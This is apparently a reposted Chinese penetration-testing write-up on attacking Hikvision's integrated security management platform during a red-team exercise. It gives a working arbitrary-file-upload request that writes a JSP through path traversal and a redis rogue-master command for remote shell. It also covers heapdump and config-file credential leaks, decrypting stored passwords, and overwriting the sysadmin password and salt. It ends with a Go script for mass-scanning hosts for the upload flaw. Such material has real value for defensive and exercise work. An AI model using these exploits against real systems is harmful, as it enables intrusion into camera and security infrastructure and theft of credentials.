专栏名称: 黑白之道
黑白之道,普及网络安全知识!
目录
相关文章推荐
信安之路  ·  金蝶软件旗下产品历史漏洞合集 ·  昨天  
嘶吼专业版  ·  LastPass 发现虚假支持中心试图窃取客户数据 ·  2 天前  
第一财经资讯  ·  同花顺子公司,遭重罚! ·  5 天前  
第一财经资讯  ·  同花顺子公司,遭重罚! ·  5 天前  
51好读  ›  专栏  ›  黑白之道

记一次海康综合安防后渗透

黑白之道  · 公众号  · 互联网安全  · 2024-10-12 09:59

正文


这篇文章的起因是前段时间的市攻防演练中,海康的综合安防是我知道的得分比较多的资产,自己也有幸拿到了一个。因为是第一次独立渗透海康的综合安防,也有些困难,不过好在一晚上的努力后,成功将机子上能拿的分拿到了。为了下次能够更好的渗透,就整理了下综合安防的得分点。


文章作者:Duoduo's Blog

文章来源:https://seveo.cn/archives/8


1

介绍


app="HIKVISION-综合安防管理平台"title="综合安防管理平台"

首先要先找到入口点,有两种方法,一种是通过利用report任意文件上传,另一种是收集信息获取到redis数据的密码,然后使用主从复制来getshell,实现内网突破


report任意文件上传


poc如下

POST /svm/api/external/report HTTP/1.1Host: xx.xx.xx.xx:11443User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB
------WebKitFormBoundarykYswiCilf8qBContent-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/els/static/1.jsp"Content-Type: application/zip

------WebKitFormBoundarykYswiCilf8qB--


收到的响应包如下

HTTP/1.1 200 Date: Fri, 21 Jun 2024 21:31:56 GMTContent-Type: application/json;charset=UTF-8Content-Length: 69Connection: keep-alivetraceId: f570d6a8d329ceceSet-Cookie: JSESSIONID=30885E6D014929B496EDC9635ABA8EF8; Path=/svm; secure; HttpOnly;secureCache-Control: no-cacheCache-Control: no-storeCache-Control: must-revalidatePragma: no-cacheExpires: 0Access-Control-Allow-Origin: http://xx.xx.xx.xx:11443/centerAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT,PATCH, HEADAccess-Control-Allow-Headers: Content-TypeAccess-Control-Max-Age: 3600
{"code":"0x26e31402","msg":"上报的文件格式错误","data":null}


然后访问https://xx.xx.xx.xx:11443/els/static/1.jsp,响应内容如下,则可以确定存在任意文件上传漏洞,并且能够解析jsp脚本

HTTP/1.1 200 Date: Fri, 21 Jun 2024 21:33:58 GMTContent-Type: text/html;charset=ISO-8859-1Connection: keep-aliveSet-Cookie: JSESSIONID=E81E46F2D575A51BEA3260243454C81B; Path=/els; secure; HttpOnly;secureContent-Length: 24
Vulnerability is exist


redis主从复制getshell

通过heapdump泄露

访问https://xx.xx.xx.xx:11443/artemis-portal/artemis/heapdump,如下下载了heapdump文件,那么就可以通过解密来获取运行中的配置,获取redis服务的password、port


通过portal配置文件泄露

请求https://xx.xx.xx.xx:11443/portal/conf/config.properties,正常返回配置文件,portalcache开头的字段为redis数据库配置


再通过主从复制的项目来执行命令

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r <rhost> -p <rport> -L <lhost> -P <lport> -f RedisModulesSDK/exp.so -c "id"

即可完成getshell


2

后渗透


讲完入口点后,就可以收集里面的信息了


来到/opt/hikvision/web/components路径下,这里是设备中的应用安装路径,每个应用中的配置文件路径:conf/config.properties,查看文件就可以获取一系列应用服务的配置,取得服务权限来得分。(配置文件解密工具GitHub - wafinfo/Hikvision: 海康威视综合安防平台后渗透利用工具


https://github.com/wafinfo/Hikvision


应用权限

主要配置文件所在应用文件夹如下(示例):

PgSql(7092/管理员):postgresql11linux64.1Redis:redislinux64.1MinIO:minio.1RabbitMQ:rabbitmq.1PgSql(7092/普通用户):lm.1、lsm.1、els.1、acps.1、iac.1、irds.1、asw.1、eportal.1、vnsc.1、svm.1、frs.1、issc.1、sdmc.1、isupm.1、rtree.1、vms.1、ismd.1、dac.1、uis.1、cis.1、mps.1、ncg.1、hapts.1、paf.1、acs.1、artemis.1、nms.1ActiveMQ:activemq514linux64.1SMS(无法验证):smsps.1Mail(无法验证):mailps.1Notify(无法验证):每个配置文件中都有MongoDB:mdblinux64.1(可能未开启,无法验证)Ldap(无法验证):els.1、sac.1、tvms.1、irds.1、vnsc.1、frs.1、sdmc.1、isupm.1、rtree.1、vms.1、ismd.1、dac.1、cis.1、ncg.1、hapts.1、acs.1、nms.1


从上述结果来分析,通过查看postgresql11linux64.1、rabbitmq.1、minio.1、rabbitmq.1、lm.1、activemq514linux64.1这些应用程序的配置文件,就能够获取到可以验证的服务。
加密内容解密:

java -jar Hikvision.jar <encryption>

后台权限

除了上面的应用权限以外, 还有个比较特殊的,在/opt/hikvision/web/opsMgrCenter/下,这个配置文件中web应用程序的配置信息(后台数据库、加解密密钥等),这里需要用到的是7001端口上的pgsql数据库,里面存储管理员的信息。


解密连接数据库opsmgr_db,用户表center_user,通过工具来生成一个新的密码

$ java -jar Hikvision.jar=======================基 本 信 息=======================海康威视综合安防平台: 数据库解密/用户名密码替换下载地址: https://github.com/wafinfo/Hikvision只适合Windows平台使用,暂不支持linux+MacOs=======================使 用 文 档======================= [+] 生成密码成功:P@ssw0rd0.[+] 生成salt成功:c4ca4238a0b923820dcc509a6f75849b[+] 替换center_user表 password salt:983605f69b7a3a91187eb301eda62bbde9513ea706821b3e93ccdadbfe055b88 c4ca4238a0b923820dcc509a6f75849b [+] 解密使用:java -jar Hikvision.jar EQAQAL5By8zVCjbJ9y5Dx5D50PudK8/DpYxLALFIHoOG0y286hgglnwspCcQka3Hj1x3jA==

替换sysadmin的salt和password值或创建一个新用户后,登录后台,即可获取Web系统权限。


3

结尾


综上所述,在综合安防上的成果有:内网突破*1 + PgSql管理员*1 + PgSql普通用户*1 + MinIO*1 + RabbitMQ*1 + ActicveMQ*1 + 综合安防*1 + 摄像头*n,如果进行后续的横向移动,可能会有更大的成果。下面附上自己编写的批量检测report任意文件上传脚本,也希望师傅们看完这篇文章后能有所收获。


附:

海康威视综合安防管理平台批量检测report任意文件上传

package main import (    "crypto/tls"    "fmt"    "io"    "net/http"    "net/url"    "os"    "path/filepath"    "strings") func main() {    WebPath := "els/static/1.jsp"        //    验证文件存放路径,建议只修改文件名    Uri := ReadUri("url.txt")        //    fofa保存的host导入至url.txt    Path := CreatePath(WebPath)    Poc := "Vulnerability is exist"    for _, uri := range Uri {        u, err := url.Parse(uri)        if err != nil {            fmt.Println(err)            continue        }        host := u.Host        UploadFile(host, Path, Poc)        VisitFile(host, WebPath, Poc)    }} func CreatePath(path string) string {    root := "../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps"    return strings.ReplaceAll(filepath.Join(root, path), string(filepath.Separator), "/")} func ReadUri(filename string) []string {    file, err := os.Open(filename)    if err != nil {        fmt.Println(err)        os.Exit(-1)    }    defer file.Close()     data, err := io.ReadAll(file)    if err != nil {        fmt.Println(err)        os.Exit(-1)    }     return strings.Split(string(data), "\n")} func UploadFile(host, path, poc string) {     url := fmt.Sprintf("https://%s/svm/api/external/report", host)    contentType := "multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB"    body := "------WebKitFormBoundarykYswiCilf8qB\r\n" +        "Content-Disposition: form-data; name=\"file\";" +        fmt.Sprintf("filename=\"%s\"\r\n", path) +        "Content-Type: application/zip\r\n\r\n" +        fmt.Sprintf("", poc) +        "\r\n\r\n------WebKitFormBoundarykYswiCilf8qB--"     client := http.Client{        Transport: &http.Transport{            TLSClientConfig: &tls.Config{                InsecureSkipVerify: true,            },        },    }    resp, err := client.Post(url, contentType, strings.NewReader(body))    if err != nil {        fmt.Println("出现错误: " + err.Error())        return    }    defer resp.Body.Close()} func VisitFile(host, webPath, poc string) {    client := http.Client{        Transport: &http.Transport{            TLSClientConfig: &tls.Config{                InsecureSkipVerify: true,            },        },    }     pocUrl := fmt.Sprintf("https://%s/%s", host, webPath)    pocResp, err := client.Get(pocUrl)    if err != nil {        fmt.Println(err)        return    }    defer pocResp.Body.Close()     respBody, _ := io.ReadAll(pocResp.Body)    if pocResp.StatusCode == 200 && strings.Contains(string(respBody), poc) {        fmt.Println(host + ": " + poc)    }}


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END